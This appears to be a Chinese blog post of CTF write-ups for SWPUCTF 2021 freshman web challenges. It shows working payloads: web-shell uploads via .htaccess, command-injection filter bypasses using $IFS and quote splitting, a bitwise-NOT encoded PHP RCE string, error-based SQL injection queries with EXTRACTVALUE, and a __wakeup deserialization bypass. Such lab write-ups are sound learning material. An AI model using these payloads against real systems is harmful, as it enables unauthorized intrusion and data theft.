写这篇文章主要是想看看自己一个下午能干啥,不想老是浪费时间了,所以刷多少题我就会写多少题解,使用nss随机刷题,但是今天下午不知道为啥一刷都是SWPUCTF的。
[SWPUCTF 2021 新生赛]gift_F12
控制台ctrl+f搜索flag即可,得到flag
[SWPUCTF 2021 新生赛]caidao
怎么做写脸上了,直接连,
[SWPUCTF 2021 新生赛]jicao
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
//阅读一下源码:可以看到要输出flag要满足POST传入id=wllmNB,GET传入json字符串经过解码后要满足$json['x']=="wllm",GET传入{"x":"wllm"}即可
NSSCTF{95d74e97-b06c-4fb2-b028-bb3a0ab2686c}
[SWPUCTF 2021 新生赛]Do_you_know_http
使用hackbar传入User-Agent :WLLM即可
第二关传入X-Forwarded-For :127.0.0.1 即可
[SWPUCTF 2021 新生赛]easy_md5
一个很简单的md5
[SWPUCTF 2021 新生赛]easyupload1.0
传个一句话木马试试
应该是给php后缀搬掉了,试试phtml,也搬掉了,不太行,传个图片
图片可以正常上传猜测检测字段Content-Type:
直接改个php试试
上传成功。
直接连接了,然后虚拟终端打开找找flag
找到了,但是上传之后竟然是错误的,看了wp后说要在phpinfo里面找,这个没想到
[SWPUCTF 2021 新生赛]nc签到
看题目直接拿vps nc一下吧
黑名单搬了一点
看看路径,可以使用l's'这样的方式绕过查看一下flag
ca't'$IFS$9flag
当然我们使用nl也是可以的
[SWPUCTF 2021 新生赛]easyupload2.0
直接蚁剑连接即可
[SWPUCTF 2021 新生赛]easyrce
没有任何限制直接RCE就行
[SWPUCTF 2021 新生赛]babyrce
加个cookie下一关出来了
空格过滤了直接${IFS}或者$IFS$9绕过
[SWPUCTF 2021 新生赛]ez_unserialize
开题没告诉题目开源码,意图明显,访问/robots.txt
找到目录
找到题目,解析一下,当类销毁的时候如果amdin=admin,passwd=ctf那么就输出flag,思路有了生成对象p的时候直接赋值对象p的admin和passwd属性即可
[SWPUCTF 2021 新生赛]include
给了个提示
经过包含发现没包含出来,搜了一下include_once函数的用法
说明flag.php已经被包含过了,那我们使用php伪协议将flag的base64直接输出,然后解码即可
[SWPUCTF 2021 新生赛]error
搜索框输入1,写没有提示?看看源码
看到源码给出提示
直接跑sqlmap
python sqlmap.py -u ”url" --dbs
python sqlmap.py -u “url” test_db --tables
python sqlmap.py -u “url” -D test_db -T test_tb --columns
python sqlmap.py -u “url” -D test_db -T test_tb -C flag --dump
这里是报错注入,SELECT * FROM users WHERE id='$id' LIMIT 0,1可以看到给了语句
直接进行报错注入:1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))-- 原理:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
SELECT * FROM users WHERE id='1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()), 0x7e))--' LIMIT 0,1
--后面的明显被注释了,
EXTRACTVALUE:
它的正常用法是从一个合法的 XML 文档中,按照给定的 XPath 语法规则,提取匹配的节点值。然而,当提供的 XML 或 XPath 是非法的或者不符合格式时
CONCAT(0x7e, (SELECT database()), 0x7e)
:将当前的数据库名称与两个~
符号(十六进制0x7e
表示的~
)拼接。SELECT database()
会返回当前使用的数据库名称。EXTRACTVALUE(1, ...)
:由于传递的参数不是有效的 XML 数据格式,EXTRACTVALUE()
会触发一个错误。这个错误的详细信息可能包含我们拼接的数据库名称,这样就通过报错信息泄露了敏感数据。
数据库名出来了;
?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='test_db' LIMIT 0,1), 0x7e))-- -
跑出来表名
?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='test_tb' and table_schema='test_db' LIMIT 1,1), 0x7e))-- -
跑出来个flag列
直接拿出flag
?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT flag FROM test_tb LIMIT 0,1), 0x7e))-- -
出了一半,
再找下一半应该是放不下了从右往左找试试
?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT left(flag,30) FROM test_tb LIMIT 0,1), 0x7e))-- -
可以看到最多输出30位,输入31后后面的波浪号没了
把这两个找出来的flag整合一下即可
把这两个整合一下flag
[SWPUCTF 2021 新生赛]no_wakeup
小派蒙给了一个class.php,打开看看
是一个反序列化的题目,分析一下,当对象被反序列化的时候会自动调用wakeup魔术方法,意思是我们传入这一串O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}的时候passwd会变成SHA1(wllm)这样会导致我们不能满足条件,这题意图比较明显了,就是wakeup绕过,怎么绕过呢?
参考两篇文章:我感觉写的很好
PHP反序列化中wakeup()绕过总结 – fushulingのblog
PHP反序列化
我们这里直接把元素数改为3就可以绕过,为什么呢?
因为当传入数据被反序列化时因为多了一个元素但是找不到元素然后就不能完成整个反序列化的过程导致中途exit所以wakeup调用不了
这一个我看了感觉很有参考意义,记录一下
wake_up绕过练习参考:A new way to bypass __wakeup() and build POP chain - inhann的博客 | inhann's Blog
[SWPUCTF 2021 新生赛]easyupload3.0
依然选择直接传一个伪造的图片上去,依然这个图片是完全可以传的,
稍微改一改再次测试
稳定发挥啊还是可以传的,改下后缀呢?
看来不行了那我们只能用图片马先试试吧,我们已经传了一个jpg文件先试试能不能传.htaccess
成功了蚁剑连接一下
添加成功
找到flag
[SWPUCTF 2021 新生赛]finalrce
一个防火墙绕过,tac 没禁了,看wp学到了点东西
find / | tee 1.txt
可以输出根目录到1.txt文件里面尝试一下,试了完全打不开太大了有点,我们在vps上下载下来吧
curl -O http://node4.anna.nssctf.cn:28864/1.txt
然后找一找敏感文件
cat 1.txt |grep /fl*
可以看到输出的最后就是很明显的flag啊直接 tac /flllllaaaaaaggggggg,但是la不能连接在一起我们这里用用一个正则分开tac /flllll\aaaaaaggggggg,这里是看不到东西的使用和刚刚一样的方法tee试试
tac /flllll\aaaaaaggggggg | tee 2.txt
获取到flag
[SWPUCTF 2021 新生赛]hardrce
防火墙禁止了很多东西,字母字母用不了,也禁止了很多符号啊,没什么思路参考wp
<?php
a="system";a="system";b = “cat /f*”;
echo urlencode(~a); print("\n"); echo urlencode(~b);
?>
这样也可以绕过。
url编码绕过限制
?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%D5);
学到了